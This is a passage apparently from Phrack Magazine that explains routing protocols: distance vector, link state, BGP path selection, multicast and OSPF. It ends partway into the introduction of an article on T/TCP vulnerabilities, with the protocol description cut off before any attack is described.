The count to infinity problem is a problem with many distance vector implementations. We will assume that all links have a unit cost and that each hop corresponds to a unit. For example, if router X is connected to router Y and router Y is connected to router Z, we can demonstrate this problem (see fig 1). Y knows a 1 hop path to Z and X knows a 2 hop path to Z. Assume that link YZ goes down and the cost of that route is increased to infinity (fig 2). Now, Y knows an infinite cost route to Z because it knows the link is down so it propagates this distance vector to X. Suppose X has sent an update to Y which advertises a 2 hop distance vector. Now, Y will think that it can get to Z through X, so it sends X an update that says it can get to Z in three hops (fig 3). Note that X has no idea that the distance vector being advertised to it was originated from X. This is a serious flaw in distance vectors. In their unmodified form, they do not contain the full path information that the route has traversed. As illustrated above, the router alternates states of advertising a path to Z and advertising infinity to Z. They keep this exchange up forever or until they have reached some internally defined infinity count (say 15 as in the case of RIP).

Count to Infinity problem:

X‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Y‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Z

Y:1 X:1 X:2 Z:2 Z:1 Y:1

[ fig 1 ]

All links are up, below each node we note the destination and hopcount from each respective node.

X‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Y‑‑‑‑‑‑‑‑* *‑‑‑‑‑‑‑‑‑Z

Y:1 <‑‑‑‑‑‑‑‑‑‑‑‑‑ Z:infinity

Z:2 ‑‑‑‑‑‑‑‑‑‑‑‑‑> X:1

[ fig 2 ]

The link Y ‑ Z breaks. Node X advertises Z:2 to node Y.

X‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Y‑‑‑‑‑‑‑‑* *‑‑‑‑‑‑‑‑‑Z

Z:infinity(frm Y) ‑> X:1

Y:1 <‑‑‑‑‑‑‑‑‑‑‑‑‑ Z:3

[ fig 3 ]

Node Y sends its Z distance vector to X _before_ it recieves node X's infinity. Once node Y receives node X's infinity, it sets its distance to infinity.

A path vector is an easy way to defeat the count‑to‑infinity problem. Basically, each distance vector also includes the router path that it traversed (fig 4). The router rejects an update from its neighbor if the path included in the update includes the router receiving the update (fig 5). The Border Gateway Protocol (which is used to exchange routing information between Autonomous Systems on the Internet) incorporates the path vector to stop the count‑to‑infinity problem. Obviously, you have to incorporate more information in the routing table if you want to include the AS path information that the route has traversed. The designers of BGP decided that it was optimal to sacrifice storage space and processing power for the robustness that the path vector affords the routing protocol.

Path Vector Solution:

X‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Y‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Z

Y:1 (Y) X:1 (X) X:2 (YX) Z:2 (YZ) Z:1 (Z) Y:1 (Y)

[ fig 4 ]

All links are up, below each node we note the destination, hopcount and path vector from each respective node.

X‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Y‑‑‑‑‑‑‑‑* *‑‑‑‑‑‑‑‑‑Z

Y:1 (Y) X:1 (X)

Z:2 (Y Z) Z:infinity

[ fig 5 ]

The link Y ‑ Z breaks. Node Y knows to ignore Xs advertisement of Z because Y is the path vector. The avoids the count‑to‑infinity problem.

Another way to counter this problem is the split horizon. Basically, this means that a router shouldn't advertise a path to a neighbor if that neighbor is the next hop to the destination. This solves the problem presented in the example above because the path to Z from X through Y would not have been advertised to Y because Y is the neighbor _and_ the next hop to the destination (Z). A variation called split horizon with poisonous reverse has router X advertise an infinite cost to get to destination Z. Under a split horizon, router X would not advertise that it could get to router Z.

‑‑‑‑[ Link State Routing

A router using a link state routing protocol distributes the distance to its neighbors to every other router on the network. This allows each router on the network to make a routing table without knowing the full cost to the destination from any one source. The problems of loops are avoided because each router contains the full topology of the network. Basically, the router makes a 3 tuple containing the source router (itself) the neighbor and the cost to its neighbor. Therefore, if router A is connected to Router B over a link of cost 3 and router A is connected to router C over link cost 5, then router A would advertise the Link State Packets (LSPs) <A,B,3> and <A,C,5> to all routers on this network. Each router on the network would evaluate all of the LSPs that it receives and calculate a shortest path to every destination on the network.

Obviously, the LSP is an integral part of the convergence process. If someone could inject false LSPs into the network, it could result in misrouted information (a packet taking a longer path than it should) or even in the blackholing of a router on the network. This is not necessary a malicious attack of a network, however. Router C could advertise a link to its neighbor D with the 3 tuple <C,D,6> and then withdraw the announcement when the link goes down. Unfortunately, if the LSP advertising the link having an infinite cost arrives before the LSP advertising the cost of that link being 6, the routing table will not reflect the topology of the network and will be in that state until another LSP comes to correct the problem.

To combat this, a sequence number is introduced into the LSP. Therefore, all of the routers on the network would initialize their sequence number to some starting value and then start advertising their LSPs. This solves the above problem in that the LSP advertising the link of infinite cost would have a higher sequence number than the LSP advertising the link as having cost 6.

Some problems encountered when using sequences numbers are finite sequence space, sequence initialization, and aging. It is in the best interest of a robust link state protocol needs to protect its LSPs as well as choose a sequence space which is sufficiently large to accommodate updates. The sequence space that the LSPs can use is set to some finite value. Therefore, when the sequence numbers reach the top of the space, they must wrap around towards the smallest sequence number. This presents a problem because when a router compares link state updates, the greater sequence number takes preference. To combat this problem, you can define a maximum age of the LSP. Therefore, if you have not received an update in X ticks, you discard the current LSP information and wait for a further update. It must be noted that this invalidates the path information to a destination. For example, if router Y advertises a cost to its neighbor router Z where router Y is connected by one link to a meshed network, when the link between the mesh and router Y breaks, the other routers in the mesh have preserved link state information that will allow them to find a path towards Z. If they receive no updates in MAX_AGE, then they will assume that the link to Y is unreachable. This will allow each router to converge its table and allow it to advertise an infinite LSP for Y and Z.

Sequence initialization is also an important facet of this problem. Say router Y crashed and is rebooting while the network is recalculating paths to it. When it starts its link state protocol back up, it must somehow indicate that it needs to reinitialize its sequence number to the last number it gave all of the other routers to allow for coherence. Therefore, it can announce paths with a sequence number in a special "initialization set". This initialization set will tell the other routers that this router needs the sequence where it left off. This is the "lollipop sequence" idiom. The sequence space really resembles a lollipop in that the normal sequence number keep churning around the finite sequence space while reinitialization takes place in a short linear sequence space (comparable to the stick :).

Great pains are taken to ensure the integrity of LSPs. In fact, this entire routing algorithm depends on the LSP being digested in a coherent method to guarantee that each router has the correct view of the network topology. The question still remains how the root node router computes the distance to each destination.

Because of the general nature of a link state protocol, you have various nodes of the network advertising the distance to get to their neighbors to every other node on the network. Thus each node has a collection of neighbor distances from various routers on the network. The routing table is basically 'grown' outward from the root node to all of the network extremities. This will be explained in a slightly rigorous fashion in the next section.

‑‑‑‑[ Dijkstra's Algorithm

This algorithm is a simple and elegant way to determine network topology. Basically, there are two distinct sets of destinations on the network. Destinations in set K are known routes for which a shortest path has been computed. Destinations in set U are routers for which the best path to that router is not currently known. In this set, paths are being considered as candidates to be the best path to that destination.

To start off, add the current node p into the set K. Then add all of its neighbors into the set U with path/cost associations. If there is another path to one of the neighbors in the U set, then choose the path which costs the least. When the neighbors N* are added to U make sure that they indicate the cost through p as well as p's ID .

Once this has been done for the set U, then pick the neighbor n to p which has the smallest cost to reach p. This is assuming that the neighbor has not already been installed in K. This algorithm stops when set U is equivalent to the empty set. When set U is null, it is implied that all destinations are in set K and have the shortest cost from the root node P on which this algorithm is running. Note, that each step evaluates adds ONE neighbor into K. That neighbor is the router with the smallest cost to reach p.

‑‑‑‑[ Distance Vector vs. Link State

We are left with these protocols like BGP which uses path vector and OSPF which uses link state. Why do they occupy such orthogonal space? When a link state protocol is working correctly, it guarantees that there will be no routing loops in the network. The link state protocol also guarantees fast convergence when there is a change in the topology of the network because the link state is distributed on a flat routing space. Since link state protocols contain these inherent advantages, why do protocols like BGP chose to employ the path vector approach?

Taking a cross‑section of routing protocols that are employed on the internet, one finds that the majority of large providers use OSPF to resolve routing information on their internal network and BGP to talk to other distinct networks (or autonomous systems) at their borders of administration. What suits BGP as an external protocol and OSPF for an internal routing protocol?

One issue, which will be discussed in the next section, is hierarchy. BGP provides a mechanism for a routing hierarchy which enables it to greatly reduce the space of its table. OSPF, which is a link state protocol, provides a flat routing table whereby any internal router knows the full hop by hop path to any destination within the autonomous system. Furthermore, distance vector protocols understand that different areas can have different views of the network where link state protocols require that each node independently compute a consistent view of the network. This saves the DV protocol the overhead of maintaining a correct LSP database. BGP also has another 'advantage' in that it is layered on top of the Transmission Control Protocol (TCP). Therefore, in the 'best‑effort' service of IP networks, BGP has assurance (to the level that TCP can guarantee) that routing information will be propagated. Whereas, you can (or should) be able to govern the status of your internal network, the nebulous exterior past your border routers confers no delivery guarantee on your routing information.

Each type of routing algorithm is suited for its function. Link State protocols provide the quick convergence that is essential to an internal network while distance vector protocols provide external reachability. Hierarchy is not something that is inherent in distance vector protocols, but the implementation of a hierarchy has made BGP a widely used exterior gateway protocol.

‑‑‑‑[ Routing Hierarchy

Routing hierarchy is an oft fought debate that borders on religion. There are constantly questions about how hierarchy should be implemented (if at all) in the free form state of the current global network. Hierarchy imposes a tree of authority with the overall authority at the top of the tree and branching down to regional authorities, local authorities ad infinitum. Hierarchy simplifies routing because if a destination is not locally routable (or under your section of the tree). You can iterate up towards the top tree to try and deliver that information. As you move towards the top, the routing information contained in the routers becomes less and less specific until you reach the root node which is the least specific. It does, however, know how to route information to every possible destination on the network. It may help you to envision the hierarchy of the telephone network (built under one collective). If a call cannot be placed within a central office, it is handed to either another central office in the area code or a wide area link. The wide area link understands how to route to each area code in a full national mesh whilst the local 5ess switch only knows routing information for more specific prefixes. As the phone number becomes less specific (from right to left), the routing decision moves further up the strict hierarchy.

This similar to how the domain name system (DNS) works on the internet (fig 6). You provide local records for domains that you host. When your nameserver receives a query for a record, it either returns the fact that it has authority for that record or points toward the root nameserver. The root nameserver knows the delegations of .com, .net, .org et al. and then points towards the site responsible for that top level domain. That site then points towards the site that has authority for the specific second level domain. Domain names take the form of most specific ‑> least specific; i.e. microsoft.com is more specific than just .com. Likewise gates.house.microsoft.com is more specific than microsoft.com.

DNS Hierarchy:

___ . ___

/ | \

.com. .org. .edu.

/ | \

microsoft.com. eff.org. isi.edu.

/ |

billy.microsoft.com. x0r.eff.org. rs.isi.edu.

[ fig 6 ]

Each level in the hierarchy is responsible for levels of greater specificity.

Root authority is controlled by the Internet Assigned Numbers Authority (IANA). It provides the top of the hierarchy in a "centrally" managed database (in fact, there are multiple root servers distributed across the county which maintain a consistent database). This is the closest example of strict hierarchy that can be found on the internet.

With IP addresses, specificity increases in the opposite direction. IP addresses (version 4) are 32‑bits. The rightmost bit signifies the greatest amount of specificity and the leftmost, the least. IP routing authority information is not maintained in a centralized database. Routing information is exchanged between autonomous systems via the BGP protocol. Routes take preference in order of most specific ‑> least specific. In this way, there is some type of hierarchy in the system (even though it is more loose than the DNS example). Generally, larger providers control larger parts of the total IPv4 space ((2^32) ‑ 3 addresses). The converse is also true.

Classless Inter‑Domain Routing (CIDR) also helped to decrease the size of routing tables and increase the appearance of hierarchy. Now, instead of Sprint announcing routes to 130.4.0.0 through 130.20.0.0 (on the classical B space boundary) it could announce 130.4.0.0/12 which encompasses that entire 16 class B range. The classful ranges, subnetworking and the like are discussed in my "introduction to IP" page and are therefore not included in this document.

‑‑‑‑[ Routing Hierarchy and Aggregation

BBN divides their 8/8 network into two subnetworks and advertises reachability to the aggregate to save table space. Once inside an AS, routing obeys a fairly strict hierarchy. Router A is responsible for the entire 131.103/16. It divides it into two /17. Likewise, Router D in AS1 is responsible for 8/8 and chooses to divide it into 8.0/9 and 8.128/9 and divides responsibility for these networks to Routers E and F respectively (fig 7). Routers B, C, E, and F can further choose to subdivide their networks in a hierarchical fashion. Because of the binary nature of subnetting, networks can only be divided in half.

Routing Hierarchy and Aggregation:

BGP

131.169.0.0/16 <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 8.0.0.0/8 A (AS1239) D (AS1)

/ \

B / \ C E / \ F

/ \

131.169.0.0/17 131.169.128.0/17 8.0/9 8.128/9

[ fig 7 ]

In the internet, there is no strict routing hierarchy. There are simply large networks which peer via BGP to distribute aggregated routing information.

The national backbone is populated by few nodes (when compared to the end nodes). Most national providers are one or two router hops away from every large network. Through aggregation in networks below, national providers provide fully (or at least we hope) aggregated routing information. In a strict hierarchy, only one router on any given hierarchy level can advertise reachability to a specific portion of the network. In the current state of the Internet, multiple routers can advertise reachability information. For example, Sprint announces 131.169.0.0/16 out to Digex, MCI, and BBN. Though this breaks some of the benefits of a strict hierarchy, it confers other benefits. This scheme allows for distributed control of routing information instead of depending on the node above. Also, nodes on the same level are often interconnected to aid in the dissemination of routing information.

‑‑‑‑[ Aggregation

As discussed slightly before, aggregation allowed the internet to reduce the size of its external reachability tables. Before, the granularity of route announcements allowed for only /8, /16, and /24 (octet boundaries). Now, with CIDR you could use variable length subnet masks. The only requirement was that they fall on one of the 32‑bit boundaries of the IP address.

Classless routing not only allows us to minimize routing table space, it also allows us to divide up large chunks of unused space into manageable pieces. Much of the Class A space is terribly under‑utilized. With this scheme one can more efficiently allocate IP addresses to providers/netizens. The American Registry of Internet Numbers (ARIN) controls the allocation of IP addresses within the United States.

Aggregation helps alleviate the problems of not being in a strict hierarchical structure. It allows the least amount of route table specificity at each level (assuming the routers on that level choose to fully aggregate their announcements.) The less specific aggregates do not necessarily indicate the position of a router in the hierarchy. For example, a university may announce a /8 and be 3 hops away from the national backbone.

A problem with aggregates can be found when we examine candidate route specificity. If ISP A only has address space from within the allocated block to their parent P, then aggregation could cause problems if ISP A wanted to multihome to parent Q. The problem comes in that ISP A is obligated to advertise reachability only to their space. This would constitute them announcing their address space to Parent Q. Assume that parent P aggregates ISP A's space into a /16 for the sake of saving route announcements. Now, ISP A would seem to have better reachability only through parent Q because of the specificity of the route announcement (remember that more specific routes take precedence over less specific routes). This would nullify the benefits of multihoming in an attempt to distribute load over the two lines. In this case, ISP A would ask parent P to announce a more specific destination which has a length matching the length of the aggregate assigned to ISP A. Therefore, to the world above parent P and parent Q, the path to ISP A looks equally appealing.

‑‑‑‑[ Exterior/Interior

It is important to look at how routing information is disseminated throughout the network. It has already been discussed that we use separate routing protocols (with their respective benefits/costs) to talk to the internal and external world. However, these protocols cannot take orthogonal views on routing information. In fact, the interplay between interior and exterior routing protocols is what allows data to be effectively relayed to a destination external to the network as well as to distribute external routing information to all nodes on the internal network.

There are a few ways to ensure that each router has a consistent view of the network. One is to distribute the external protocol into the internal protocol. Thereby, the internal protocol instantly has routing information injected in it for the best path to every external destination. Note that the router which talks eBGP (or comparable protocol) only redistributes the route that it installs in its routing table and not the other candidate routes which may have been advertised to it.

Another approach is to inject the interior protocol into the exterior protocol. Of course, this necessitates filtering at the entrance point to the exterior protocol to prevent the announcement of all internal specifics. You can accomplish internal routing dissemination inside an Interior Gateway Protocol mesh. Because of the specifics of protocols like BGP, externally learned routing information will only be propagated one logical hop within the network. Therefore, every router that must know this external reachability information, must be fully meshed with the eBGP speaking routers. Also, if other routers are injecting information into the Exterior Gateway Protocol, the router should be logically fully meshed with them.

‑‑‑‑[ Multicast Routing Overview

What we have been talking about above is unicast routing. In unicast routing, you assume that each packet has a single destination address. Assuming infinite resources being available, unicast is a feasible solution for every situation. However, there are situations when it would be advantageous to send a packet to multiple destinations from a single source (point to multipoint) or from multiple sources to multiple recipients (multipoint to multipoint).

The point of multicast is to provide a multicast group to which hosts can subscribe and get the specific multicast feed. The multicast group is a single IP address in class D space. Therefore, the senders and receivers are only associated by a given multicast group address. Thus, the senders move their data towards the multicast group address and the receivers specify that they want to receive information from a given group address. In fact, the sender is not required to know any information about the hosts that are receiving the feed.

‑‑‑‑[ Multicast vs. Unicast

If one was sending packets from a single source to a set of destinations, it is important to investigate how multicast and unicast handle the distribution.

Assume that router A is sending data to routers B, D and E. A is at the top of the hierarchy, B and C are at the second level of the hierarchy, and D and E are below router B. With multiple unicast (fig 8), router A makes 3 copies of the packet and sends them down link AB. Router B then sends one packet to a host off of its ethernet and forwards the last two packets to routers D and E whereupon those routers send the packets to the their respective hosts in the multicast group.

Therefore, this transmission takes up 3 packets per second on link AB and 1 pps on links B‑>Host(b), router D and router E. In a multicast routing implementation, assuming the same topology, we will have less packets. The difference is that router A sends _one_ packet over link AB. Router B then triplicates the packet and sends it to Host(b), router D and router E (fig 9). One way for triplicating the packet is to simultaneously close crossbars on a fully crossed switch fabric, thus sending data from one input to three outputs simultaneously. As long as there is route redundancy, multicast is very efficient because it minimizes redundant packets traveling to the same next‑hop. Simply, as long as there is route redundancy for the distributed session (for example, an audio feed) you will see an advantage with multicast over unicast.

Multicast Overview Example:

Multiple Unicast:

A A sends 3 packets to B. / \

/ \ 3

/ \

C B B sends 1 packet to each to D and E.

/ \

1 / \ 1

/ \

D E D and E send 1 packet to their respective

hosts.

[ fig 8 ]

Multicast:

A A sends 1 packet to B / \

/ \ 1

/ \

C B B duplicates the packet for its host;

/ \ therefore, there is 1 packet (at most) on

1 / \ 1 each link.

/ \

D E

[ fig 9 ]

This is a multicast topology rooted at node A. There is also a shortest path from A to every destination in the multicast group. This is called the shortest path multicast tree rooted in A. Data would like to shortest path on the network layer. One problem with multicast sessions is that recipients join and leave during a multicast session. This requires pruning of the multicast "tree" so that packets do not clutter a link on which there is no one requesting data from a given multicast group.

To detect if there are hosts on a particular broadcast LAN that are interested in a multicast group, the router sends out Internet Group Management Protocol (IGMP) messages. Each packet has a random reply time from which the host will express interest. This is to prevent all hosts on a broadcast LAN from responding at the same time to an IGMP query. Once one host desires to receive data destined for a particular multicast groups, all other hosts which desire to be in the multicast group can discard their replies because the router knows to multicast all incoming packets destined for that group. The host then configures its adapter to answer for the MAC address corresponding to that group.

Multicast must also be functional outside of the broadcast LAN. A simple solution to the problem is to give each router for which multicast is enabled the multicast packet. This is called flooding. Basically, it functions by forwarding the packet to every interface other than the one that the packet arrived on. The inherent flaws in this approach is that there is packet duplication as well as packets being sent to routers which have no hosts subscribed to the multicast group. To clarify the duplication statement, if Router A is physically meshed with routers B, C, and D and linked to its upstream via serial, when router A receives the multicast packet, it floods it out the interfaces to routers B, C, and D. These routers then flood the packet out the interface other than the one they received the packet on (namely the interface that connects them to A). This results in each of these routers receiving two copies of the packet (other than the one they received from A) in this exchange.

A solution to this problem can be found in a technique called Reverse Path Forwarding (RPF). RPF specifies that the router forwards a packet with a source address of X only if the interface which the router receives the packet on corresponds to the shortest path that router has to source X (fig 10). Therefore, in the above example, each of the meshed routers _still_ receives 2 duplicate packets in the second step, but they refuse to forward them because only the packet received from the interface directly connected to A will be forwarded. As noted, RPF does not completely solve the problem of packet duplication. To solve this, we must introduce pruning. The idea is simplistic: inform neighbors that you do not wish to receive multicast packets from source X to multicast group Y. You can also specify prunes to a particular group. If a router tells its neighbors that it did not desire to receive packets for group Y and then has a host which desires to receive group Y, it sends a graft message to its neighbors specifying that it be added into the multicast tree.

As a unicast aside, RPF can also be used to eliminate source address spoofing in that the router will only forward packets from source Y if it is receiving it on the interface which is the shortest path to source Y. Thus, if the router receives packets from an external link which say their saddr == saddr(y), the router will not forward them because its shortest path to Y is not from the external link.

RPF Example:

| <‑‑ Point of ingress.

|

A‑‑‑‑‑‑‑‑‑‑‑C

|\ /|

| \_______/ |

| / \ |

|/ \|

B‑‑‑‑‑‑‑‑‑‑‑D

[ fig 10 ]

ABCD are physically meshed. When A distributes a packet to BCD, there is no problem. Now, in the next step, B, C,and D forward the packet to each of their respective neighbors (for B it would be C and D and ! A because it received the packet from A). This results in C and D receiving 2 packets in this entire exchange. Note that C and D now do _not_ forward the packet they have received from A through B because that is not their shortest path to A. Their shortest path is their direct link.

‑‑‑‑[ The Multicast Backbone (MBONE)

It would be myopic to assume that every router on the internet supports multicast. Thus, when a router needed to find the shortest path to a destination (for forwarding of a multicast packet) it could look in the unicast routing table. Unfortunately (or fortunately depending on your perspective) most routers on the Internet do not support multicast or do not have it enabled by default. Therefore, until most routers support multicast, it has been "layered" over IP and tunneled from multicast router to multicast router (more specifically, the multicast header and data is encapsulated in a unicast IP header). The tunnel (which bridges the gap of unicast only routers between multicast routers) informs each end that some packets will contain a multicast group in their payload. This allows data to be routed by using unicast forwarding tables while at the same time preserving the integrity of the multicast group id.

Because these multicast routers are not necessarily connected physically (though they are tunneled logically), they must be connected by a multicast routing protocol. This is necessary because the closest path via multicast may not correspond to the shortest path over unicast only routers. Distance Vector Multicast Routing Protocol (DVMRP) is an initial foray into this realm. DVMRP distributes "unicast" routes to facilitate the construction of shortest path trees. DVMRP uses the flood and prune method discussed above to discover /maintain multicast trees. There is also a link state foray into this arena. Multicast Open Shortest Path First (MOSPF) takes the LSP approach and calculates shortest absolute path. One host off of a multicast router can request to be in a multicast group. That router then distributes an LSP over the network. Of course, MOSPF (being a link state protocol) runs into salability problems. It is computationally expensive for a router to compute reachability information for each end node router.

Core based trees (CBT) are an attempt to alleviate the problems that DVMRP and MOSPF experience. The concept is that multicast routers send join requests to core routers of arbitrary designation. When a router learns of a host which wishes to join a specific multicast group, it forwards a packet to the core multicast router. Every router along the way forwards the packet towards the core router and marks the interface on which the packet arrives so that it knows where to forward the multicast packets from the core. This solves the problem of having to communicate topology among all of the endpoints. The choice of a core multicast router is a non‑trivial because all multicast traffic for multicast routers branching off of it _must_ pass through the core router.

‑‑‑‑[ Protocol Independent Multicast

Protocol independent multicast (PIM). Pim is a balance between flood and prune and CBT. When there are many multicast routers on a given network, it is more efficient to use the flood‑and‑prune method. This network environment is called "dense". On the contrary, sparse mode defines networks where there are few multicast routers. In sparse mode, it is more efficient to use CBT because the core router is not weighted in an environment when it 'polices' few multicast routers. When most of network is comprised of multicast routers, it is not prudent to require all sessions to be coordinated (and routed through) a core. Sparse mode PIM has been adapted from CBT to allow data to reach its destination via the core or through the shortest path tree. Currently, the operator must define whether groups are sparse or dense instead of leaving it up to the protocol. cisco systems' implementation of pim also supports a middle ground called 'sparse‑dense' mode.

‑‑‑‑[ Border Gateway Protocol

There has been some mention of the Border Gateway Protocol (BGP) in this document. BGP was groomed as the successor to the Exterior Gateway Protocol (EGP). BGP is mainly an exterior routing protocol. It is used to communicate with systems outside of the operator's control and both distribute and receive network layer reachability information (NRLI) from the neighboring routers. BGP must be a robust protocol which has the capability of quick convergence while at the same time, not being influenced by frequent shifts in topology. When you use BGP to receive routing information, you are depending on the other networks to distribute correct information to your network.

A BGP speaking router communicates with its peers via TCP. TCP over IP is a mechanism for guaranteeing the transmission of data over a best effort service at the IP layer. The choice of TCP as the distribution mechanism for BGP information is a point of contention. While TCP provides inherent checksums, acknowledgments, retransmissions and duplicate suppression mechanisms for received packets, it does not guarantee packet order or packet path. This can lead to headaches for the router receiving this information.

BGP peers communicate with a variety of message formats. BGP speakers use the OPEN message to establish a peering relationship with other speakers. BGP speakers use the UPDATE message to transfer routing information between peers. Update information includes all routes and their associated attributes. KEEPALIVE messages assure that BGP peers are active. NOTIFICATION messages inform peers of error conditions.

‑‑‑‑[ BGP path selection

It is important that we understand the messages that constitute the Border Gateway Protocol, but we are still left with the question of how BGP works on the internet. One important area of clarification is in the BGP path selection algorithm. This algorithm is how BGP decides which route to prefer and attempt to install in the routing table.

This algorithm is employed when there are multiple paths to a destination. As a failsafe, the first selection looks at the next hop and determines if it is accessible. If the next hop is not accessible, it is important not to consider that route as a candidate path to a destination because all data sent to its next_hop will be blackholed. The second selection mechanism is the weight of the route. Weight is a proprietary implementation to cisco Systems routers and is analogous to local preference. If two routes have different weights, the route with the largest weight is selected. Notice that the selection mechanism is basically a logical if‑>then chain. If candidate paths differ at a level of the selection algorithm, then the favorable path is selected and the algorithm ceases trying to decide which path to prefer. The next level is the local_pref attribute. This is a well known mandatory BGP attribute. Much like weight, the path with the highest local_pref is preferred. After local preference, the router selects the path that it originated. If the router didn't originate the paths, then the path with the shortest AS_PATH length should be selected. AS path length gauges the number of autonomous systems that this routing information has traveled through. The purpose of this selection relies in the assumption that the less ASNs the route has passed through, the closer the destination. If all of the above attributes are identical, then prefer path origin in this fashion IGP > EGP > Incomplete. If the path origins are the same, prefer the path with the lowest value MULTI_EXIT_DESCRIMINATOR (MED). MEDs are commonly used to distinguish between multiple exit points to the same peer AS. If none of these attributes are dissimilar, then prefer the path through the closest IGP neighbor. If that fails, the tiebreaker is preferring the path with the lowest IP address specified in the BGP router‑id section discussed above.

This selection algorithm allows effective establishment of routing policy. If I wanted to prefer routes from a certain AS over routes to another AS, I could establish a route‑map at both entry points of external routing information and assign a higher LOCAL_PREF to the routes from the AS I want to favor. Unfortunately, this does not provide much granularity. This means that all traffic will be routed to the favorable AS and does not allow us to balance the load over our multiple connections. If you allow path selection to progress to the AS path length decision level, then you will get decent (though not 50‑50) load balancing to destinations. This of course is assuming that you have providers with comparable customer routes and connectivity. If you have a DS3 to MCI and a DS3 to the local BFE provider, nearly all traffic will move out the MCI pipe if the BGP decision is allowed to progress down to the AS path length category. At earlier selections, you can change the preference of routes by using AS path access lists to select routes based on as path regular expressions. For example, if you wanted to select all routes that traversed UUnet and send them out your BFE provider, you could use a route map to match an AS path access list which contained _701_ and set the local_pref to 100 (or some value higher than the UUwho traversed paths from MCI). This will force all traffic destined for UUwho to exit your AS over your BFE DS3. While this affords you some granularity in load balancing, it is often not optimal. Basically, you are forcing traffic out a path that it would not normally select. If that BFE provider has many hops before it can reach UUnet, you are forcing the traffic you send out that link to traverse all of those hops and be subject to (possibly) more link congestion, latency, etc.

Routing policy is something that requires the tweaking of many knobs. Much of the tweaking I have described above pertains to cisco Systems routers. It is important to understand that you must think through routing policy before you implement it. You must evaluate what load balancing you want, what traffic symmetry you want, and what general quality of service your traffic will receive because of your decisions.

For information more specific than this, read the BGP RFC or current BGPv4 internet draft [1].

‑‑‑‑[ Open Shortest Path First v2 (OSPFv2)

We are not going into great detail about OSPF. It is a link state routing algorithm. As noted above, link state algorithms route on flat space (no hierarchy). OSPF is an improvement over the vanilla LS protocol because it provides areas of maintenance for hierarchy purposes. Areas distribute full information internally by running a separate OSPF process with its area ID. Each router has an identical link state database with other routers within its area, but not with external routers. Each area operates in an autonomous state and transfers inter‑area information at junction routers called area border routers. These routers are in two or more areas and help distribute information between these areas. The router has separate link state databases for each area to which it is connected.

OSPFv2's main advantage is that it supports Variable Length Subnet Masks (VLSM). This means that a router can advertise reachability with more granularity than a scheme which advertised host reachability. Therefore, if the router can distribute packets to all hosts from 206.4.4.1 ‑> 206.4.5.254 it advertises reachability to 206.4.4.0/23 instead of each classful network separately or each host separately. This obviously saves immensely on link state database size and processing power required.

For information more specific than this, read the current OSPFv2 RFC or internet draft [2].

‑‑‑‑[ References

[1] Rehkter, Y., Li, T., " A Border Gateway Protocol 4 (BGP‑4)", draft‑ietf‑idr‑bgp4‑07.txt, February 1998.

[2] Moy, J., "OSPF Version 2", draft‑ietf‑ospf‑vers2‑02.txt, January 1998.

‑‑‑‑[ EOF

T/TCP Vulnerabilities

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 06 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T/TCP vulnerabilities

‑‑‑‑‑‑‑‑[ route|daemon9 <route@infonexus.com>

‑‑‑‑[ Introduction and Impetus

T/TCP is TCP for Transactions. It is a backward compatible extension for TCP to facilitate faster and more efficient client/server transactions. T/TCP is not in wide deployment but it is in use (see appendix A) and it is supported by a handful of OS kernels including: FreeBSD, BSDi, Linux, and SunOS. This article will document the T/TCP protocol in light detail, and then cover some weaknesses and vulnerabilities.

‑‑‑‑[ Background and primer

TCP is a protocol designed for reliability at the expense of expediency (readers unfamiliar with the TCP protocol are directed to the ancient‑butstill‑relevant: http://www.infonexus.com/~daemon9/Misc/TCPIP‑primer.txt).

Whenever an application is deemed to require reliability, it is usually built on top of TCP. This lack of speed is considered a necessary evil. Short lived client/server interactions desiring more speed (short in terms of time vs. amount of data flow) are typically built on top of UDP to preserve quick response times. One exception to this rule, of course, is http. The architects of http decided to use the reliable TCP transport for ephemeral connections (indeed a poorly designed protocol).

T/TCP is a small set of extensions to make a faster, more efficient TCP. It is designed to be a completely backward compatible set of extensions to speed up TCP connections. T/TCP achieves its speed increase from two major enhancements over TCP: TAO and TIME_WAIT state truncation. TAO is TCP Accelerated Open, which introduces new extended options to bypass the 3‑way handshake entirely. Using TAO, a given T/TCP connection can approximate a UDP connection in terms of speed, while still maintaining the reliability of a TCP connection. In most single data packet exchanges (such is the case with transactional‑oriented connections like http) the packet count is reduced by a third.

The second speed up is TIME_WAIT state truncation. TIME_WAIT state truncation allows a T/TCP client to shorten the TIME_WAIT state by up to a factor of 20. This can allow a client to make more efficient use of network socket primitives and system memory.

‑‑‑‑[ T/TCP TAO

TCP accelerated open is how T/TCP bypasses the 3‑way handshake. Before we discuss TAO, we need to understand why TCP employs a 3‑way handshake. According to RFC 793, the principal reason for the exchange is the prevention of old duplicate connection initiations wandering into current connections and causing confusion. With this in mind, in order to obviate the need for the 3‑way handshake, there needs to be a mechanism for the receiver of a SYN to guarantee that that SYN is in fact new. This is accomplished with a new extended TCP header option, the connection count (CC).

The CC (referred as tcp_ccgen when on a host) is a simple monotonic variable that a T/TCP host keeps and increments for every TCP connection created on that host. Anytime a client host supporting T/TCP wishes to make a T/TCP connection to a server, it includes (in it's TAO packet) a CC (or CCnew) header option. If the server supports T/TCP, it will cache that client's included CC value and respond with a CCecho option (CC values are cached by T/TCP hosts on a per host basis). If the TAO test succeeds, the 3‑way handshake is bypassed, otherwise the hosts fall back to the older process.

The first time a client host supporting T/TCP and a server host supporting T/TCP make a connection no CC state exists for that client on that server. Because of this fact, the 3‑way handshake must be done. However, also at that time, the per host CC cache for that client host is initialized, and all subsequent connections can use TAO. The TAO test on the server simply checks to make sure the client's CC is greater then the last received CC from that client. Consider figure 1 below:

Client Server

T ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i 0 ‑‑TAO+data‑‑(CC = 2)‑‑> ClientCC = 1

